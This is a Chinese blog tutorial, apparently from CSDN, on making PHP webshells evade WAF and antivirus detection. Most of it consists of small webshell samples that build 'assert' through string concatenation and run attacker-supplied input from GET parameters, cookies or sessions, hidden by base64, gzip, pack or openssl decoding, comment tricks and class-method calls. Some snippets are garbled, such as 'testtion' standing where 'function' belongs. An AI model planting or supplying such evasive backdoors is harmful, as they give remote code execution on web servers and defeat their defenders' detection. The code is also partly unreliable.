免杀学习——PHP免杀

php免杀

php马作为最常用的上马方式之一,各类waf对其的防护与检测也在不断完善

相信各位在对一些网站渗透测试中碰到过传马被删或者被拦的情况,刚好最近整理了一些php免杀方法,下面来分享一下

字符串类

字符串拼接:

<?php
$test = $_GET["test"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test"];
$c($test);
?>

base64加密:

<?php
$test = base64_decode($_GET["test"]);
#phpinfo()
#cGhwaW5mbygp
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
?>

函数绕过:

ucwords()  //把每个单词的首字符转换为大写
ucfirst()  //首字符转换为大写
trim()  //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr()  //函数返回字符串的一部分
strtr()  //函数转换字符串中特定的字符
strtoupper()  //把所有字符转换为大写
strtolower()  //把所有字符转换为小写
strtok()  //函数把字符串分割为更小的字符串
str_rot13()  //函数对字符串执行 ROT13 编码
chr()  //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode()  //字符串压缩
gzuncompress()、gzinflate()、gzdecode()  //字符串解压
base64_encode()  //base64编码
base64_decode()  //nase64解码
pack()  //数据装入一个二进制字符串
unpack()  //从二进制字符串对数据进行解包

不常见函数:

gzcompress() //此函数使用数据格式压缩给定的字符串
pack() //将输入参数打包成 format 格式的二进制字符串。
openssl_encrypt() //使用给定的方法和密钥加密给定的数据,返回原始或 base64 编码字符串

使用

gzcompress():
<?php
$test = gzuncompress(base64_decode($_GET["test"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
?
pack():
$test=pack("H14","706870696e666f");
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
#assert(phpinfo())
openssl_encrypt:
<?php
$key = "password";

$test = openssl_decrypt($_GET['test'], 'AES-128-ECB', $key, 0);
#加密数据test的值可以通过openssl_encrypt获取
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);

传参绕过:

cookie:

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";

$c(base64_decode($_COOKIE["PHPSESSID"]));

?>

之后通过burp抓包修改PHPSESSID即可

session:

<?php
session_start();
$_SESSION['test']=base64_decode($_COOKIE["PHPSESSID"]);

?>
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['test']);

?>

burp通过cookie添加session,之后取出session

特征绕过

替换

[] {}
[] foreach

魔术方法:

__FILE__:返回当前文件的绝对路径(包含文件名)。

__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。

__NAMESPACE__:返回当前文件的命名空间的名称

自动免杀:掩日免杀(分离)(网络)

不常见的:

注释和空白符绕过:
<?php
$test = $_GET["test"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c(//);//(
    $test//);//);
)
?>
类方法调用:
<?php
class a{
    testtion demo(){
        $a = "a";
        $s = "s";
        $c=$a.$s."sert";
        return $c;
    }
}

$s = new a();
$s->demo()($_GET[1]);
类的静态方法:
<?php
class a{
    static testtion demo(){
        $a = "a";
        $s = "s";
        $c=$a.$s."sert";
        return $c;
    }
}

a::demo()($_GET[1]);

总结:

php上马免杀,理论上是只要绕过waf就可以,但特殊情况下存在驻场人员手动监控,看到一些奇怪的参就直接给你ban了,所以各位师傅尽量不要在一些敏感时期进行渗透测试,仅用于技术学习

推荐大家去看一下这位师傅的文章php免杀合集 - 跳跳糖 (tttang.com),里面还有一些扩展,十分详细

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值